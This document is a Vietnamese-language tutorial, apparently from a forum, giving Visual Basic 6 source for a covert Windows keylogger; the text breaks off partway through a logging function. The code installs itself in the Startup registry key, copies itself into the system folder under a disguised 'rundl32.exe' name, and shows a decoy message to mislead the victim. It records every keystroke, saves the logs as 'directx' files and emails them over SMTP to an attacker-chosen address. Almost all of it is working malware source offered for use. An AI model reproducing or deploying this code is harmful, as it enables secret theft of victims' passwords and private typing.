Mô tả chương trình:
Bạn thêm vào trong chương trình 1 Form, 2 Module và 1 User Control
1. Form chính có tên là Form1.frm:
Giao diện form chứa đựng 3 Textbox (Text1 và send, adresa – “Text:
Whitebronch@yahoo.com”), 1 SMTP (SMTP), 2 Timer (Timer1 và Timer2), 1 Label (Label1 – “Dia chi mail ban muon nhan log:”)
- Mã nguồn của Form:
Option Explicit
Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Const REG As Long = 1
Const HKEY_LOCAL_MACHINE As Long = &H80000002
Const STANDARD_RIGHTS_ALL = &H1F0000
Const KEY_CREATE_LINK = &H20
Const KEY_CREATE_SUB_KEY = &H4
Const KEY_ENUMERATE_SUB_KEYS = &H8
Const KEY_NOTIFY = &H10
Const KEY_QUERY_VALUE = &H1
Const KEY_SET_VALUE = &H2
Const SYNCHRONIZE = &H100000
Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or KEY_QUERY_VALUE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Or KEY_CREATE_LINK) And (Not SYNCHRONIZE))
Function IntrareRegistru()
Dim a As Long
RegOpenKeyExA HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\RunServices", 0, KEY_ALL_ACCESS, a
RegSetValueExA a, "Rundll32", 0, REG, "C:\Windows\system\rundl32.exe", 1
RegCloseKey a
End Function
Function IntrareSuportMagnetic()
Dim s As String, path As String
s = App.path & "" & App.EXEName & ".exe"
path = WinDir & "\SYSTEM\rundl32.exe"
If FisierulExista(path) = False Then
FileCopy s, path
MsgBox "Please delete this file and re-download it!"
End If
End Function
Private Sub Form_Load()
IntrareRegistru
IntrareSuportMagnetic
RemoveProgramFromList
If App.PrevInstance Then
Unload Me
End If
End Sub
'---
'----
Public Function SendEMail(adress As String)
With SMTP
.Server = "s1.go.ro"
.Port = 25
.MailFrom = "keylogger@nesheret.test"
.MailTo = adresa.Text
.NameFrom = "Educational"
.NameTo = "Mg"
.Subject = "Keylogger"
.Body = send.Text
.SendMail
End With
SMTP.ccl
End Function
'----
Private Sub Timer1_Timer()
VerificareTaste
End Sub
Private Sub Timer2_Timer()
Salveaza
If VI = True Then
Decizie
End If
End Sub
2. Hai Module (Internet.bas và Module1.bas)
- Module Internet.bas:
Private Const FLAG_ICC_FORCE_CONNECTION = &H1
Private Declare Function InternetCheckConnection Lib "wininet.dll" Alias "InternetCheckConnectionA" (ByVal lpszUrl As String, ByVal dwFlags As Long, ByVal dwReserved As Long) As Long
Public Text As Variant
Public caledel As String
Public Function VI()
If InternetCheckConnection("http://www.google.com/", FLAG_ICC_FORCE_CONNECTION, 0&) = 0 Then
VI = False
Else
VI = True
End If
End Function
Public Sub TrimiteLog(path As String)
Dim s As Variant
Form1.send.Text = ""
Open path For Input As #3
Do While Not EOF(3)
Input #3, s
Form1.send.Text = Form1.send.Text & s & vbCrLf
Loop
Close #3
caledel = path
Form1.SendEMail (path)
Kill path
End Sub
Public Function Decizie()
Dim path As String
Dim i As Integer, j As Integer
For i = 10 To 1 Step -1
For j = 1 To 6
path = Module1.WinDir & "\system\directx" & Day(Date) - i & "_" & j & ".txt"
If FisierulExista(path) = True Then
TrimiteLog (path)
End If
Next j
Next i
End Function
- Module Module1.bas:
Option Explicit
Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNregiSTER_SERVICE = 0
Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Global Cnt As Long, TempText As String, sOld As String, ret As String
Dim Tel As Long
Private Const VK_CAPITAL = &H14
Public Function CAPSLOCKON() As Boolean
Static bInit As Boolean
Static bOn As Boolean
If Not bInit Then
While GetAsyncKeyState(VK_CAPITAL)
Wend
bOn = GetKeyState(VK_CAPITAL)
bInit = True
Else
If GetAsyncKeyState(VK_CAPITAL) Then
While GetAsyncKeyState(VK_CAPITAL)
DoEvents
Wend
bOn = Not bOn
End If
End If
CAPSLOCKON = bOn
End Function
Public Function VerificareTaste()
Dim keystate As Long
Dim Shift As Long
Shift = GetAsyncKeyState(vbKeyShift)
keystate = GetAsyncKeyState(vbKeyA)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "A"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "a"
End If
keystate = GetAsyncKeyState(vbKeyB)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "B"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "b"
End If
keystate = GetAsyncKeyState(vbKeyC)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "C"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "c"
End If
keystate = GetAsyncKeyState(vbKeyD)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "D"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "d"
End If
keystate = GetAsyncKeyState(vbKeyE)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "E"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "e"
End If
keystate = GetAsyncKeyState(vbKeyF)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "F"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "f"
End If
keystate = GetAsyncKeyState(vbKeyG)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "G"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "g"
End If
keystate = GetAsyncKeyState(vbKeyH)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "H"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "h"
End If
keystate = GetAsyncKeyState(vbKeyI)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "I"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "i"
End If
keystate = GetAsyncKeyState(vbKeyJ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "J"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "j"
End If
keystate = GetAsyncKeyState(vbKeyK)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "K"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "k"
End If
keystate = GetAsyncKeyState(vbKeyL)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "L"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "l"
End If
keystate = GetAsyncKeyState(vbKeyM)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "M"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "m"
End If
keystate = GetAsyncKeyState(vbKeyN)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "N"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "n"
End If
keystate = GetAsyncKeyState(vbKeyO)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "O"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "o"
End If
keystate = GetAsyncKeyState(vbKeyP)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "P"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "p"
End If
keystate = GetAsyncKeyState(vbKeyQ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "Q"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "q"
End If
keystate = GetAsyncKeyState(vbKeyR)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "R"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "r"
End If
keystate = GetAsyncKeyState(vbKeyS)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "S"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "s"
End If
keystate = GetAsyncKeyState(vbKeyT)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "T"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "t"
End If
keystate = GetAsyncKeyState(vbKeyU)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "U"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "u"
End If
keystate = GetAsyncKeyState(vbKeyV)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "V"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "v"
End If
keystate = GetAsyncKeyState(vbKeyW)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "W"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "w"
End If
keystate = GetAsyncKeyState(vbKeyX)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "X"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "x"
End If
keystate = GetAsyncKeyState(vbKeyY)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "Y"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "y"
End If
keystate = GetAsyncKeyState(vbKeyZ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "Z"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "z"
End If
keystate = GetAsyncKeyState(vbKey1)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "1"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "!"
End If
keystate = GetAsyncKeyState(vbKey2)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "2"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "@"
End If
keystate = GetAsyncKeyState(vbKey3)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "3"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "#"
End If
keystate = GetAsyncKeyState(vbKey4)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "4"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "$"
End If
keystate = GetAsyncKeyState(vbKey5)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "5"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "%"
End If
keystate = GetAsyncKeyState(vbKey6)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "6"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "^"
End If
keystate = GetAsyncKeyState(vbKey7)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "7"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "&"
End If
keystate = GetAsyncKeyState(vbKey8)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "8"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "*"
End If
keystate = GetAsyncKeyState(vbKey9)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "9"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "("
End If
keystate = GetAsyncKeyState(vbKey0)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "0"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + ")"
End If
keystate = GetAsyncKeyState(vbKeyBack)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[backspace]"
End If
keystate = GetAsyncKeyState(vbKeyTab)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[tab]"
End If
keystate = GetAsyncKeyState(vbKeyReturn)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + vbCrLf
End If
keystate = GetAsyncKeyState(vbKeyShift)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[shift]"
End If
keystate = GetAsyncKeyState(vbKeyControl)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[ctrl]"
End If
keystate = GetAsyncKeyState(vbKeyMenu)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[alt]"
End If
keystate = GetAsyncKeyState(vbKeyPause)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[pause]"
End If
keystate = GetAsyncKeyState(vbKeyEscape)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[esc]"
End If
keystate = GetAsyncKeyState(vbKeySpace)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + " "
End If
keystate = GetAsyncKeyState(vbKeyEnd)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[end]"
End If
keystate = GetAsyncKeyState(vbKeyHome)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[home]"
End If
keystate = GetAsyncKeyState(vbKeyLeft)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[left]"
End If
keystate = GetAsyncKeyState(vbKeyRight)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[right]"
End If
keystate = GetAsyncKeyState(vbKeyUp)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[up]"
End If
keystate = GetAsyncKeyState(vbKeyDown)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[down]"
End If
keystate = GetAsyncKeyState(vbKeyInsert)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[insert]"
End If
keystate = GetAsyncKeyState(vbKeyDelete)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[Delete]"
End If
keystate = GetAsyncKeyState(&HBA)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + ";"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + ":"
End If
keystate = GetAsyncKeyState(&HBB)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "="
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "+"
End If
keystate = GetAsyncKeyState(&HBC)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + ","
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "<"
End If
keystate = GetAsyncKeyState(&HBD)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "-"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "_"
End If
keystate = GetAsyncKeyState(&HBE)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "."
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + ">"
End If
keystate = GetAsyncKeyState(&HBF)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "/"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "?"
End If
keystate = GetAsyncKeyState(&HC0)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "`"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "~"
End If
keystate = GetAsyncKeyState(&HDB)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "["
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "["
End If
keystate = GetAsyncKeyState(&HDC)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + ""
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "|"
End If
keystate = GetAsyncKeyState(&HDD)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "]"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "]"
End If
keystate = GetAsyncKeyState(&HDE)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "'"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + Chr$(34)
End If
keystate = GetAsyncKeyState(vbKeyMultiply)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "*"
End If
keystate = GetAsyncKeyState(vbKeyDivide)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "/"
End If
keystate = GetAsyncKeyState(vbKeyAdd)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "+"
End If
keystate = GetAsyncKeyState(vbKeySubtract)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "-"
End If
keystate = GetAsyncKeyState(vbKeyDecimal)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[Del]"
End If
keystate = GetAsyncKeyState(vbKeyF1)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[F1]"
End If
keystate = GetAsyncKeyState(vbKeyF2)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[F2]"
End If
keystate = GetAsyncKeyState(vbKeyF3)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[F3]"
End If
keystate = GetAsyncKeyState(vbKeyF4)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[F4]"
End If
keystate = GetAsyncKeyState(vbKeyF5)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[F5]"
End If
keystate = GetAsyncKeyState(vbKeyF6)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[F6]"
End If
keystate = GetAsyncKeyState(vbKeyF7)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[F7]"
End If
keystate = GetAsyncKeyState(vbKeyF8)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[F8]"
End If
keystate = GetAsyncKeyState(vbKeyF9)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[F9]"
End If
keystate = GetAsyncKeyState(vbKeyF10)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[F10]"
End If
keystate = GetAsyncKeyState(vbKeyF11)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[F11]"
End If
keystate = GetAsyncKeyState(vbKeyF12)
If Shift = 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[F12]"
End If
keystate = GetAsyncKeyState(vbKeyNumlock)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[NumLock]"
End If
keystate = GetAsyncKeyState(vbKeyScrollLock)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[ScrollLock]"
End If
keystate = GetAsyncKeyState(vbKeyPrint)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[PrintScreen]"
End If
keystate = GetAsyncKeyState(vbKeyPageUp)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[PageUp]"
End If
keystate = GetAsyncKeyState(vbKeyPageDown)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[Pagedown]"
End If
keystate = GetAsyncKeyState(vbKeySnapshot)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[Snapshot]"
End If
keystate = GetAsyncKeyState(vbKeyMenu)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "[Menu]"
End If
keystate = GetAsyncKeyState(vbKeyNumpad1)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "1"
End If
keystate = GetAsyncKeyState(vbKeyNumpad2)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "2"
End If
keystate = GetAsyncKeyState(vbKeyNumpad3)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "3"
End If
keystate = GetAsyncKeyState(vbKeyNumpad4)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "4"
End If
keystate = GetAsyncKeyState(vbKeyNumpad5)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "5"
End If
keystate = GetAsyncKeyState(vbKeyNumpad6)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "6"
End If
keystate = GetAsyncKeyState(vbKeyNumpad7)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "7"
End If
keystate = GetAsyncKeyState(vbKeyNumpad8)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "8"
End If
keystate = GetAsyncKeyState(vbKeyNumpad9)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "9"
End If
keystate = GetAsyncKeyState(vbKeyNumpad0)
If (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "0"
End If
End Function
Public Function FisierulExista(FileName As String) As Boolean
On Error Resume Next
Call GetAttr(FileName)
FisierulExista = (Err.Number = 0)
On Error GoTo 0
End Function
'---
Public Function WinDir() As String
Dim path As String, strSave As String
strSave = String(200, Chr$(0))
WinDir = Left$(strSave, GetWindowsDirectory(strSave, Len(strSave)))
End Function
'---
Public Function Salveaza()
Dim path As String
Dim h As Byte, aux As String
h = Hour(Time)
Select Case h
Case 1, 2, 3, 4: aux = 1
Case 5, 6, 7, 8: aux = 2
Case 9, 10, 11, 12: aux = 3
Case 13, 14, 15, 16: aux = 4
Case 17, 18, 19, 20: aux = 5
Case 21, 22, 23, 0, 24: aux = 6
End Select
